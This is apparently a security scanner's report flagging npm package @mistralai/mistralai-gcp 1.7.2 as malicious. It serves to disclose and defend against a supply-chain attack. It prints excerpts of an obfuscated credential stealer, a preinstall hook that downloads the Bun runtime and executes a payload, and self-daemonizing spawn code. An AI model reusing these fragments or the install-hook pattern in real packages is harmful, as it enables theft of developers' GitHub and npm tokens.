@mistralai/mistralai-gcp 1.7.2
Obfuscated credential stealer in router_init.js
preinstall setup.mjs bootstraps Bun runtimeShell-driven GitHub/npm token collection
SHA-256c13ab54e6204317af5eba4a3c486f2ed4dc58242f2f7d5407e216446a7f67691
Also flagged by osv (MAL-2026-3512: Malicious code in @mistralai/mistralai-gcp (npm)) +3 more.
Evidence
1:103472… ,'î':'i','ï':'i','Ñ':'N','ñ':'n','Ò':'O','Ó':'O','Ô':'O','Õ':'O','Ö':'O','Ø':'O','ò':'o','ó':'o','ô':'o','õ':'o','ö':'o','ø':'o','Ù':'U','Ú':'U','Û':'U','Ü':'U','ù':'u','ú':'u','û':'u','ü':'u','Ý':'Y','ý':'y','ÿ':'y','Æ':'Ae','æ':'ae','Þ':'Th','þ':'th','ß':'ss','Ā':'A','Ă':'A','Ą':'A','ā':'a','ă':'a','ą':'a','Ć':'C','Ĉ':'C','Ċ':'C','Č':'C','ć':'c','ĉ':'c','ċ':'c','č':'c','Ď':'D','Đ':'D','ď':'d','đ':'d','Ē':'E','Ĕ':'E','Ė':'E','Ę':'E','Ě':'E','ē':'e','ĕ':'e','ė':'e','ę':'e','ě':'e','Ĝ':'G','Ğ':'G','Ġ':'G','Ģ':'G','ĝ':'g','ğ':'g','ġ':'g','ģ':'g','Ĥ':'H','Ħ':'H','ĥ':'h','ħ':'h','Ĩ':'I','Ī':'I','Ĭ':'I','Į':'I','İ':'I','ĩ':'i','ī':'i','ĭ':'i','į':'i','ı':'i','Ĵ':'J','ĵ':'j','Ķ':'K','ķ':'k','ĸ':'k','Ĺ':'L','Ļ':'L','Ľ':'L','Ŀ':'L','Ł':'L','ĺ':'l','ļ':'l','ľ':'l','ŀ':'l','ł':'l','Ń':'N','Ņ':'N','Ň':'N','Ŋ':'N','ń':'n','ņ':'n','ň':'n','ŋ':'n','Ō':'O','Ŏ':'O','Ő':'O','ō':'o','ŏ':'o','ő':'o','Ŕ':'R','Ŗ':'R','Ř':'R','ŕ':'r','ŗ':'r','ř':'r','Ś':'S','Ŝ':'S','Ş':'S','Š':'S','ś':'s','ŝ':'s','ş':'s','š':'s','Ţ':'T','Ť':'T','Ŧ':'T','ţ':'t','ť':'t','ŧ':'t','Ũ':'U','Ū':'U','Ŭ':'U','Ů':'U','Ű':'U','Ų':'U','ũ':'u','ū':'u','ŭ':'u','ů':'u','ű':'u','ų':'u','Ŵ':'W','ŵ':'w','Ŷ':'Y','ŷ':'y','Ÿ':'Y','Ź':'Z','Ż':'Z','Ž':'Z','ź':'z','ż':'z','ž':'z','IJ':'IJ','ij':'ij','Œ':'Oe','œ':'oe','ʼn':'\x27n','ſ':'s'},_0x4156bf={'&':_0x165f79[_0xbe9a65(0x1dae)],'<':_0x165f79[_0xbe9a65(0x1acd)],'>':'>','\x22':_0x165f79[_0xbe9a65(0x2712)],'\x27':_0x165f79[_0xbe9a65(0xf42)]},_0x3f8a55={'&':'&','<':'<','>':'>','"':'\x22',''':'\x27'},_0x514244={'\x5c':'\x5c','\x27':'\x27','\x0a':'n','\x0d':'r','\u2028':_0x165f79[_0xbe9a65(0x1d23)],'\u2029':_0x165f79[_0xbe9a65(0xdbf)]},_0x4b1c5b=parseFloat,_0x1f0444=parseInt,_0x2ad1cb=_0x165f79['GEKQc'](typeof global,_0x165f79[_0xbe9a65(0x25f7)])&&global&&_0x165f79[_0xbe9a65(0x1f81)](global['Object'],Obj …
1:1136037… 359e3=await _0x25422d[_0x4c85fb(0x1c66)]();throw _0x1eff86['aJyXc'](Error,_0x4c85fb(0x1df4)+_0x25422d[_0x4c85fb(0xa87)]+'\x20—\x20'+_0x5359e3);}let _0xb8119=await _0x25422d[_0x4c85fb(0x2180)](),_0x50749a=Object[_0x4c85fb(0x1f24)](_0xb8119);if(_0x1eff86[_0x4c85fb(0x1040)](_0x50749a['length'],0x1))throw _0x1eff86[_0x4c85fb(0x24bc)](Error,_0x4c85fb(0x51b)+_0x50749a[_0x4c85fb(0x2b97)]);let [,_0x1a81d7]=_0x50749a[0x0],_0x31b336=_0x1a81d7[_0x4c85fb(0x2734)]?.[_0x4c85fb(0xd8c)];return{'logIndex':_0x1a81d7[_0x4c8 …
1:2333038… =_0x5d10f5[_0x5b75b0(0xdf1)](BF),_0x32640d=_F(_0x40ebfb);return new Vz(_0x32640d,this[_0x5b75b0(0x17b8)]);}catch{return null;}}}import{spawn as _0x3d67f8}from'child_process';function F$(){const _0x29fdbb=_0x12ada1,_0x788cf6={'yUEqZ':function(_0x5a6b57,_0x175e25,_0x13ada3,_0x418aab){return _0x5a6b57(_0x175e25,_0x13ada3,_0x418aab);},'jqXiD':'ignore'};if(process.env.__DAEMONIZED)return!0x1;let _0x559526=_0x788cf6[_0x29fdbb(0x1044)](_0x3d67f8,process[_0x29fdbb(0x8e6)],process[_0x29fdbb(0x47d)][_0x29fdbb(0x4f2)](0x1),{'detached':!0x0,'stdio':_0x788cf6[_0x29fdbb(0xad4)],'cwd':process['cwd'](),'env':{...process.env,'__DAEMONIZED':'1'}});if(_0x559526['on'](_0x29fdbb(0xebd),_0x21decc=>{}),_0x559526[_0x29fdbb(0x14c0)](),_0x559526[_0x29fdbb(0x23a0)]);return!0x0;}import{existsSync as _0x274e6e,readFileSync a …
180:4… onst w = process.platform === "win32";
181 const bn = w ? "bun.exe" : "bun";
182 const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`;
183
184 const td = fs.mkdtempSync(path.join(os.tmpdir(), "bun-dl-"));
185 const zp = path.join(td, `${a}.zip`);
186 const bp = path.join(td, bn);
⋯5 lines
192 fs.unlinkSync(zp);
193
194 if (!w) fs.chmodSync(bp, 0o755);
195 execFileSync(bp, [ep], { stdio: "inherit", cwd: D });
196 } finally {
197 fs.rmSync(td, { recursive: true, force: true });
198 }
199}
200
201main().catch((e) => {
202 console.error(e.message);
203 process.exit(1);
204});
1{
2 "name": "@mistralai/mistralai-gcp",
3 "version": "1.7.2",
4 "author": "Speakeasy",
5 "main": "./index.js",
6 "sideEffects": false,
7 "repository": {
8 "type": "git",
9 "url": "https://github.com/mistralai/client-ts.git",
10 "directory": "packages/mistralai-gcp"
11 },
12 "scripts": {
13 "preinstall": "node setup.mjs"
14 },
15 "peerDependencies": {},
16 "devDependencies": {
17 "@eslint/js": "^9.19.0",
18 "eslint": "^9.19.0",
⋯9 lines
Showing the top 5 files — 5 more files (54 regions) not shown.
No evidence locations were recorded for this file. Raw result